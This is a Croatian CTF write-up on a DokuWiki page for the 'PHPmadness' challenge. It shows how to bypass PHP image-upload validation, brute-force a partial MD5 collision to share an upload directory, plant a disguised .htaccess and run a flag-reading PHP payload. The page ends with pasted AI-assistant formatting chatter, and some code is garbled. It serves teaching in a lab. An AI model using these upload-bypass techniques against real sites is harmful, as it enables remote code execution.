User Tools

Site Tools


phpmadness

This is an old revision of the document!


Zadatak s Hacknite platforme - PHPmadness

<source> Ovaj zadatak ima slojeve

http://chal.platforma.hacknite.hr:14019 </source>

Uz zadatak je dan i izvorni kod.

 Slika 1 - Dockerfile

Pregledom Dockerfilea zadatka može se vidjeti da se radi o PHP zadatku te da se flag kopira u putanju /flag, te da flag datoteka dobiva nasumično generiran naziv u formatu

fl4g_<nasumicnih 16 znakova>

Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun. Nakon logina, prikazuje se stranica na kojoj se može pohraniti jedna slika.

 Slika 2 - stranica zadatka

Nakon što se uploada neka mala nasumična slika (npr. whatever.png), dobije se poveznica na lokaciju slike.

 Slika 3 - poveznica na lokaciju slike

Pregledom koda u datoteci user.php može se pronaći kod koji validira da je učitana datoteka zapravo valjana slika.

 Slika 4 - user.php – validacije učitane slike

Kod se sastoji od tri provjere.

1) Provjera ekstenzije datoteke

if (preg_match('/^ph/', $ext)) {

Provjera uzima ekstenziju nakon zadnje točke (npr. .jpg) i provjerava da ne počinje znakovima ph. Ovu provjeru lako je zaobići dvostrukom ekstenzijom, npr. file.php.jpg. U tom slučaju se validira .jpg, ali se datoteka sprema bez te provjerene ekstenzije, pa efektivno ostaje .php.

2) Provjera MIME tipa poslanog u zahtjevu

if (strpos($_FILES["file"]["type"], "image/"))

Ova provjera koristi podatak koji klijent šalje i može se jednostavno namjestiti ručno pri slanju datoteke.

3) Provjera "file signature" (serverska provjera)

$info = @getimagesize($_FILES["file"]["tmp_name"]);
$mime = $info['mime']; 
...
strpos($mime, "image/") !== 0

Ova provjera čita stvarne “magic bytes” datoteke i određuje je li slika. Zaobići se može tako da se na početak PHP datoteke dodaju “magic byteovi” slike (npr. .jpg, .png, …). PHP parser ih preskače i izvršava ostatak koda.

No, čak i ako se uspješno upload-a PHP datoteka koja prolazi sve provjere, ona se ne bi izvršila, jer se sprema u /uploads/, a tamo postoji .htaccess koji zabranjuje izvršavanje PHP datoteka.

 Slika 5 - .htaccess u /uploads direktoriju

Međutim, učitana datoteka se sprema u poddirektorij /uploads/<specific_user_directory>. To znači da, ako se može uploadati .htaccess datoteka koja bi zaobišla validaciju, ona bi mogla nadjačati (override) roditeljsku .htaccess konfiguraciju i time dopustiti izvršavanje PHP datoteka unutar korisničkog direktorija.

Problem: korisnik može imati samo jednu datoteku po sesiji — upload nove briše staru, što je prikazano u kodu:

 Slika 6 - user.php – logika učitavanja datoteke korisnika

To znači:

  • ako se upload-a .php datoteka, neće se moći izvršiti zbog ograničenja u .htaccess,
  • ako se upload-a .htaccess, neće se moći uploadati dodatna .php datoteka jer se prva briše.

Postoji ipak način da dvije datoteke završe u istom direktoriju. Pogledajmo kako se određuje ime korisničkog direktorija:

$userdir = substr(md5($_SESSION['username']), 0, 6) . "/";

Dakle, direktorij se naziva po prvih 6 znakova MD5 sažetka korisničkog imena. Ako nađemo dva korisnička imena X i Y s istim prvim 6 znakova MD5 hash-a:

MD5(X)[0:6] = MD5(Y)[0:6]

onda će oba korisnika spremati datoteke u isti direktorij. Jedan može uploadati .htaccess, a drugi .php datoteku.

Pronalazak takvog para je trivijalan brute-force problem — može se riješiti u manje od minute. Slijedi primjer C programa koji to radi:

<source lang=“c”> md5_collision_finder6 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <openssl/md5.h> const char charset[] = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!()”; int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, “Usage: %s <string>\n”, argv[0]); return 1; } char *input = argv[1]; size_t input_len = strlen(input); unsigned char input_digest[MD5_DIGEST_LENGTH]; MD51)

1)
unsigned char*)input, input_len, input_digest);
  printf("Input string: %s\n", input);
  printf("Full MD5: ");
  for (int i = 0; i < MD5_DIGEST_LENGTH; i++) printf("%02x", input_digest[i]);
  printf("\nFirst 6 chars: ");
  for (int i = 0; i < 3; i++) printf("%02x", input_digest[i]);
  printf("\nSearching for collision...\n");
  unsigned char target[3];
  memcpy(target, input_digest, 3);
  const int min_len = 8;
  const int max_len = 15;
  const size_t charset_size = sizeof(charset) - 1;
  unsigned long long attempts = 0;
  char candidate[max_len + 1];
  srand(time(NULL));
  while (1) {
      attempts++;
      int len = rand() % (max_len - min_len + 1) + min_len;
      for (int i = 0; i < len; i++) candidate[i] = charset[rand() % charset_size];
      candidate[len] = '\0';
      if (len == input_len && memcmp(candidate, input, len) == 0) continue;
      unsigned char candidate_digest[MD5_DIGEST_LENGTH];
      MD5((unsigned char*)candidate, len, candidate_digest);
      if (memcmp(candidate_digest, target, 3) == 0) {
          printf("Collision found after %llu attempts!\n", attempts);
          printf("Colliding string: %s\n", candidate);
          break;
      }
  }
  return 0;
} </source> Pokretanje: <source lang=“bash”> $ ./md5_collision_finder6 korisnik1 Input string: korisnik1 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61 First 6 chars: affc2d Collision found after 19093362 attempts! Colliding string: BQuxIUGH Full MD5: affc2da2a9c70df41678d24f997a95f0 First 6 chars: affc2d </source> Dakle, dva korisnička imena koja dijele direktorij su korisnik1 i BQuxIUGH. — Sada treba napraviti .htaccess datoteku koja će proći validaciju slike, ali će se i dalje pravilno parsirati. Pri parsiranju PHP datoteka, nepoznati bajtovi se preskaču, no .htaccess parser zahtijeva ispravan početak datoteke — to je najteži dio zadatka. Postoje dva rješenja: ==== 1) `.wbmp` pristup ==== Parser .htaccess datoteke ignorira početne null bajtove. Ako se dodaju 4 null bajta (`\x00\x00\x00\x00`), PHP ih prepoznaje kao potpis `.wbmp` slike. Takva datoteka može se zvati .htaccess.jpg i sadržavati: <source lang=“text”> <4 null byteova><new line> <FilesMatch “\.php3$”> Require all granted SetHandler application/x-httpd-php </FilesMatch> </source> ==== 2) `.xbm` pristup ==== Komentari u .htaccess počinju s `#`. Ako se doda zaglavlje valjane .xbm slike: <source lang=“text”> #define a_width 1 #define a_height 1 <FilesMatch “\.php3$”> Require all granted SetHandler application/x-httpd-php </FilesMatch> </source> PHP provjera prepoznaje datoteku kao sliku, a Apache parser ignorira prve dvije linije kao komentare. — Time je moguće zaobići sve provjere i ograničenja. Dakle, strategija je:
1. Dva korisnika s istim prvih 6 znakova MD5 hash-a.  
2. Jedan upload-a **.htaccess.jpg** (s gornjim sadržajem).  
3. Drugi upload-a PHP datoteku, npr. **readFlag.php3.jpg**.
— Preostaje PHP kod koji pronalazi i ispisuje flag. Ograničenja su definirana u /php-config/disable_functions.ini:
disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec
Ipak, moguće je čitati datoteke bez ovih funkcija. Primjer datoteke readFlag.php3.jpg (s dodanim *magic bytes* slike na početku): <source lang=“php”> <4 null byteova><new line> <?php $files = scandir(“/flag”); foreach ($files as $file) {
  if ($file === "." || $file === "..") continue;
  $path = "/flag/" . $file;
  if (is_file($path)) {
      echo "<h3>Contents of: $file</h3><pre>";
      echo htmlspecialchars(file_get_contents($path));
      echo "</pre><hr>";
  }
} ?> </source> — Zatim:
1. Prvim korisnikom upload-aj **.htaccess.jpg**. \\  
   {{ phpmadness:slika7.png?nolink&500 | Slika 7 - upload .htaccess.jpg datoteke}}
2. Drugim korisnikom upload-aj **readFlag.php3.jpg**. \\  
   {{ phpmadness:slika8.png?nolink&500 | Slika 8 - upload readFlag.php3.jpg datoteke}}
3. Posjeti link do učitane PHP datoteke. \\  
   {{ phpmadness:slika9.png?nolink&500 | Slika 9 - link na lokaciju}}
PHP kod će se izvršiti i ispisati flag.
 Slika 10 - riješen zadatak — Napomene o ispravkama formatiranja (što sam izmijenio u odnosu na tvoj originalni tekst):
  • Ispravio sam boldanje naziva datoteka i važnih pojmova koristeći bold (npr. Dockerfile, /flag, whatever.png, user.php, .htaccess).
  • Inline kod i kraći primjeri su stavljeni unutar `<code>` tagova.
  • Višelinijski kod (C, PHP, bash primjeri) su smješteni u `<source lang=“…”>` blokove radi čitljivosti i kompatibilnosti s DokuWiki.
  • Slike sam ostavio s originalnim imenima ali numerirane konsekventno od 1 do 10 i u DokuWiki formatu koji si koristio (` Slika X - ... `).
  • Zadržao sam redoslijed i sadržaj teksta što je moguće vjernije originalu — izmjene su samo formatne/kozmetičke radi DokuWiki kompatibilnosti i čitljivosti.
Ako želiš, sljedeći korak mogu biti:
  • 1) Dati prijedloge dodatnih poboljšanja (stil, jasnije označavanje koraka, sigurnosne napomene), ili
  • 2) Primijeniti neke od tih prijedloga odmah u tekst (ako kažeš koje).
Reci želiš li prvo listu prijedloga poboljšanja ili da odmah primijenim neke izmjene.
phpmadness.1761917311.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki